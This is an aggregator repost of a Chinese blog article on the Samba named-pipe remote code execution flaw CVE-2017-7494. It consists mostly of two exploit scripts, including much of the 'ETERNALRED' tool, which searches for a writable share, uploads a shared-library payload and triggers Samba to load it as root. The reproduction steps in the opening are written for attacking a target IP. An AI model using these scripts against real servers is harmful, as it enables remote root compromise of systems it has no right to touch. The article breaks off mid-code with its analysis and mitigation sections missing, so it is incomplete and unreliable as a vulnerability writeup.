CVE-2017-7494 Linux Samba named pipe file Open Vul Lead to DLL Execution

Posted Han Zheng, Researcher of Compu

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2017-7494 Linux Samba named pipe file Open Vul Lead to DLL Execution相关的知识,希望对你有一定的参考价值。

catalogue

1. 漏洞复现
2. 漏洞代码原理分析
3. 漏洞利用前提
4. 临时缓解 && 修复手段

 

1. 漏洞复现

1. SMB登录上去
2. 枚举共享目录,得到共享目录/文件列表,匿名IPC$将会被跳过
3. 从中过滤目录,检测是否可写(通过创建一个.txt方式实现)
4. 生成一个随机8位的so文件名,并将paylaod写入so中
5. 最后一步,连接到\\\\192.168.206.128\\\\IPC$,在smb登录状态下,创建/打开一个named pipe

0x1: POC1

# -*- coding: utf-8 -*-
# AUTHOR: zhenghan.zh
# RELEASE TIME: 2017/05/25
# LINK: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb
# DESCRIPTION: 如果黑客可以对samba某个目录具备写权限,可以向其中写入一个包含samba_init_module()导出函数的so文件,并且向samba服务器通过IPC named pipe的形式请求这个so文件,
# 由于对路径中的斜杠处理不当,samba会加载并执行这个so文件中的samba_init_module()代码逻辑

from optparse import OptionParser
from impacket.dcerpc.v5 import transport

def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target", help="target ip address")
    parser.add_option("-m", "--module", dest="module", help="module path on target server")

    (options, args) = parser.parse_args()
    if options.target and options.module:
        stringbinding = r\'ncacn_np:%s[\\pipe\\%s]\' % (options.target, options.module)
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        dce = rpctransport.get_dce_rpc()
        dce.connect()

    else:
        parser.print_help()


if __name__ == "__main__":
    main()

0x2: POC2

#! /usr/bin/env python
# Title : ETERNALRED 
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494
 
 
import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *
 
 
class SharedDevice2(SharedDevice):
    def __init__(self, type, name, comments, path, password):
        super().__init__(type, name, comments)
        self.path = path
        self.password = password
 
class SMBConnectionEx(SMBConnection):
    def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
        super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
 
 
    def hook_listShares(self):
        self._listShares = self.listSharesEx
 
    def hook_retrieveFile(self):
        self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
 
    # This is maily the original listShares but request a higher level of info
    def listSharesEx(self, callback, errback, timeout = 30):
        if not self.has_authenticated:
            raise NotReadyError(\'SMB connection not authenticated\')
 
        expiry_time = time.time() + timeout
        path = \'IPC$\'
        messages_history = [ ]
 
        def connectSrvSvc(tid):
            m = SMB2Message(SMB2CreateRequest(\'srvsvc\',
                                              file_attributes = 0,
                                              access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
                                              share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                                              oplock = SMB2_OPLOCK_LEVEL_NONE,
                                              impersonation = SEC_IMPERSONATE,
                                              create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
                                              create_disp = FILE_OPEN))
 
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
            messages_history.append(m)
 
        def connectSrvSvcCB(create_message, **kwargs):
            messages_history.append(create_message)
            if create_message.status == 0:
                call_id = self._getNextRPCCallID()
                # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
                # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
                data_bytes = \\
                    binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b\' \', b\'\')) + \\
                    struct.pack(\'<I\', call_id) + \\
                    binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b\' \', b\'\').replace(b\'\\n\', b\'\'))
                m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
                m.tid = create_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
                messages_history.append(m)
            else:
                errback(OperationFailure(\'Failed to list shares: Unable to locate Server Service RPC endpoint\', messages_history))
 
        def rpcBindCB(trans_message, **kwargs):
            messages_history.append(trans_message)
            if trans_message.status == 0:
                m = SMB2Message(SMB2ReadRequest(kwargs[\'fid\'], read_len = 1024, read_offset = 0))
                m.tid = trans_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs[\'fid\'])
                messages_history.append(m)
            else:
                closeFid(trans_message.tid, kwargs[\'fid\'], error = \'Failed to list shares: Unable to read from Server Service RPC endpoint\')
 
        def rpcReadCB(read_message, **kwargs):
            messages_history.append(read_message)
            if read_message.status == 0:
                call_id = self._getNextRPCCallID()
 
                padding = b\'\'
                remote_name = \'\\\\\\\\\' + self.remote_name
                server_len = len(remote_name) + 1
                server_bytes_len = server_len * 2
                if server_len % 2 != 0:
                    padding = b\'\\0\\0\'
                    server_bytes_len += 2
 
                # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
                # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
                data_bytes = \\
                    binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b\' \', b\'\')) + \\
                    struct.pack(\'<HHI\', 72+server_bytes_len, 0, call_id) + \\
                    binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b\' \', b\'\')) + \\
                    struct.pack(\'<III\', server_len, 0, server_len) + \\
                    (remote_name + \'\\0\').encode(\'UTF-16LE\') + padding + \\
                    binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b\' \', b\'\').replace(b\'\\n\', b\'\'))
                m = SMB2Message(SMB2IoctlRequest(kwargs[\'fid\'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
                m.tid = read_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs[\'fid\'])
                messages_history.append(m)
            else:
                closeFid(read_message.tid, kwargs[\'fid\'], error = \'Failed to list shares: Unable to bind to Server Service RPC endpoint\')
 
        def listShareResultsCB(result_message, **kwargs):
            messages_history.append(result_message)
            if result_message.status == 0:
                # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
                data_bytes = result_message.payload.out_data
 
                if data_bytes[3] & 0x02 == 0:
                    sendReadRequest(result_message.tid, kwargs[\'fid\'], data_bytes)
                else:
                    decodeResults(result_message.tid, kwargs[\'fid\'], data_bytes)
            elif result_message.status == 0x0103:   # STATUS_PENDING
                self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs[\'fid\'])
            else:
                closeFid(result_message.tid, kwargs[\'fid\'])
                errback(OperationFailure(\'Failed to list shares: Unable to retrieve shared device list\', messages_history))
 
        def decodeResults(tid, fid, data_bytes):
            shares_count = struct.unpack(\'<I\', data_bytes[36:40])[0]
            results = [ ]     # A list of SharedDevice2 instances
            offset = 36 + 52  # You need to study the byte stream to understand the meaning of these constants
            for i in range(0, shares_count):
                results.append(SharedDevice(struct.unpack(\'<I\', data_bytes[offset+4:offset+8])[0], None, None))
                offset += 12
 
            for i in range(0, shares_count):
                max_length, _, length = struct.unpack(\'<III\', data_bytes[offset:offset+12])
                offset += 12
                results[i].name = data_bytes[offset:offset+length*2-2].decode(\'UTF-16LE\')
 
                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)
 
                max_length, _, length = struct.unpack(\'<III\', data_bytes[offset:offset+12])
                offset += 12
                results[i].comments = data_bytes[offset:offset+length*2-2].decode(\'UTF-16LE\')
 
                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)
 
                max_length, _, length = struct.unpack(\'<III\', data_bytes[offset:offset+12])
                offset += 12
                results[i].path = data_bytes[offset:offset+length*2-2].decode(\'UTF-16LE\')
 
                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)
 
                max_length, _, length = struct.unpack(\'<III\', data_bytes[offset:offset+12])
                offset += 12
                results[i].password = data_bytes[offset:offset+length*2-2].decode(\'UTF-16LE\')
 
                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)
 
 
            closeFid(tid, fid)
            callback(results)
 
        def sendReadRequest(tid, fid, data_bytes):
            read_count = min(4280, self.max_read_size)
            m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
                                                           fid = fid, data_bytes = data_bytes)
 
        def readCB(read_message, **kwargs):
            messages_history.append(read_message)
            if read_message.status == 0:
                data_len = read_message.payload.data_length
                data_bytes = read_message.payload.data
 
                if data_bytes[3] & 0x02 == 0:
                    sendReadRequest(read_message.tid, kwargs[\'fid\'], kwargs[\'data_bytes\'] + data_bytes[24:data_len-24])
                else:
                    decodeResults(read_message.tid, kwargs[\'fid\'], kwargs[\'data_bytes\'] + data_bytes[24:data_len-24])
            else:
                closeFid(read_message.tid, kwargs[\'fid\'])
                errback(OperationFailure(\'Failed to list shares: Unable to retrieve shared device list\', messages_history))
 
        def closeFid(tid, fid, results = None, error = None):
            m = SMB2Message(SMB2CloseRequest(fid))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
            messages_history.append(m)
 
        def closeCB(close_message, **kwargs):
            if kwargs[\'results\'] is not None:
                callback(kwargs[\'results\'])
            elif kwargs[\'error\'] is not None:
                errback(OperationFailure(kwargs[\'error\'], messages_history))
 
        if path not in self.connected_trees:
            def connectCB(connect_message, **kwargs):
                messages_history.append(connect_message)
                if connect_message.status == 0:
                    self.connected_trees[path] = connect_message.tid
                    connectSrvSvc(connect_message.tid)
                else:
                    errback(OperationFailure(\'Failed to list shares: Unable to connect to IPC$\', messages_history))
 
            m = SMB2Message(SMB2TreeConnectRequest(r\'\\\\%s\\%s\' % ( self.remote_name.upper(), path )))
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
            messages_history.append(m)
        else:
            connectSrvSvc(self.connected_trees[path])
 
 
    # Don\'t convert to Window style path
    def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
        if not self.has_authenticated:
            raise NotReadyError(\'SMB connection not authenticated\')
 
        messages_history = [ ]
 
 
        def sendOpen(tid):
            m = SMBMessage(ComOpenAndxRequest(filename = path,
                                              access_mode = 0x0040,  # Sharing mode: Deny nothing to others
                                              open_mode = 0x0001,    # Failed if file does not exist
                                              search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
                                              timeout = timeout * 1000))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
            messages_history.append(m)
 
        def openCB(open_message, **kwargs):
            messages_history.append(open_message)
            if not open_message.status.hasError:
                if max_length == 0:
                    closeFid(open_message.tid, open_message.payload.fid)
                    callback(( file_obj, open_message.payload.file_attributes, 0 ))
                else:
                    sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
            else:
                errback(OperationFailure(\'Failed to retrieve %s on %s: Unable to open file\' % ( path, service_name ), messages_history))
 
        def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
            read_count = self.max_raw_size - 2
            m = SMBMessage(ComReadAndxRequest(fid = fid,
                                              offset = offset,
                                              max_return_bytes_count = read_count,
                                              min_return_bytes_count = min(0xFFFF, read_count)))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
                                                           read_len = read_len, remaining_len = remaining_len)
 
        def readCB(read_message, **kwargs):
            # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
            if not read_message.status.hasError:
                read_len = kwargs[\'read_len\']
                remaining_len = kwargs[\'remaining_len\']
                data_len = read_message.payload.data_length
                if max_length > 0:
                    if data_len > remaining_len:
                        file_obj.write(read_message.payload.data[:remaining_len])
                        read_len += remaining_len
                        remaining_len = 0
                    else:
                        file_obj.write(read_message.payload.data)
                        remaining_len -= data_len
                        read_len += data_len
                else:
                    file_obj.write(read_message.payload.data)
                    read_len += data_len
 
                if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
                    closeFid(read_message.tid, kwargs[\'fid\'])
                    callback(( file_obj, kwargs[\'file_attributes\'], read_len ))  # Note that this is a tuple of 3-elements
                else:
                    sendRead(read_message.tid, kwargs[\'fid\'], kwargs[\'offset\']+data_len, kwargs[\'file_attributes\'], read_len, remaining_len)
            else:
                messages_history.append(read_message)
                closeFid(read_message.tid, kwargs[\'fid\'])
                errback(OperationFailure(\'Failed to retrieve %s on %s: Read failed\' % ( path, service_name ), messages_history))
 
        def closeFid(tid, fid):
            m = SMBMessage(ComCloseRequest(fid))
            m.tid = tid
            self._sendSMBMessage(m)
            messages_history.append(m)
 
        if service_name not in self.connected_trees:
            def connectCB(connect_message, **kwargs):
                messages_history.append(connect_message)
                if not connect_message.status.hasError:
                    self.connected_trees[service_name] = connect_message.tid
                    sendOpen(connect_message.tid)
                else:
                    errback(OperationFailure(\'Failed to retrieve %s on %s: Unable to connect to shared device\' % ( path, service_name ), messages_history))
 
            m = SMBMessage(ComTreeConnectAndxRequest(r\'\\\\%s\\%s\' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, \'\'))
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
            messages_history.append(m)
        else:
            sendOpen(self.connected_trees[service_name])
 
def get_connection(user, password, server, port, force_smb1=False):
    if force_smb1:
        smb_structs.SUPPORT_SMB2 = False
 
    conn = SMBConnectionEx(user, password, "", "server")
    assert conn.connect(server, port)
    return conn
 
def get_share_info(conn):
    conn.hook_listShares()
    return conn.listShares()
 
def find_writeable_share(conn, shares):
    print("[+] Searching for writable share")
    filename = "red"
    test_file = tempfile.TemporaryFile()
    for share in shares:
        try:
            # If it\'s not writeable this will throw
            conn.storeFile(share.name, filename, test_file)
            conn.deleteFiles(share.name, filename)
            print("[+] Found writeable share: " + share.name)
            return share
        except:
            pass
 
    return None
 
def write_payload(conn, share, payload, payload_name):
    with open(payload, "rb") as fin:
        conn.storeFile(share.name, payload_name, fin)
 
    return True
 
def convert_share_path(share):
    path = share.path[2:]
    path = path.replace("\\\\", "/")
    return path
 
def load_payload(user, password, server, port, fullpath):
    conn = get_connection(user, password, server, port, force_smb1 = True)
    conn.hook_retrieveFile()
 
    print("[+] Attempting to load payload")
    temp_file = tempfile.TemporaryFile()
 
    try:
        conn.retrieveFile("IPC$", "\\\\\\\\PIPE\\\\" + fullpath, temp_file)
    except:
        pass
 
    return
 
def drop_payload(user, password, server, port, payload):
    payload_name = "charizard"
 
    conn = get_connection(user, password, server, port)
    shares = get_share_info(conn)
    share = find_writeable_share(conn, shares)
 
    if share is None:
        print("[!] No writeable shares on " + server + " for user: " + user)
        sys.exit(-1)
 
    if not write_payload(conn, share, payload, payload_name):
        print("[!] Failed to write payload: " + str(payload) + " to server")
        sys.exit(-1)
 
    conn.close()
 
    fullpath = convert_share_path(share)
    return os.path.join(fullpath, payload_name)
 
 
def main():
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
    description= """Eternal Red Samba Exploit -- CVE-2017-7494
        Causes vulnerable Samba server to load a shared library in root context
        Credentials are not required if the server has a guest account
        For remote exploit you must have write permissions to at least one share
        Eternal Red will scan the Samba server for shares it can write to
        It will also determine the fullp

以上是关于CVE-2017-7494 Linux Samba named pipe file Open Vul Lead to DLL Execution的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2017-7494复现 Samba远程代码执行

Samba远程代码执行漏洞(CVE-2017-7494)复现

CVE-2017-7494 Linux Samba named pipe file Open Vul Lead to DLL Execution

CVE-2017-7494 SambaCry 分析&复现

又双叒叕出重大漏洞了,关于Unix版本永恒之蓝,CVE-2017-7494

Linux提权列表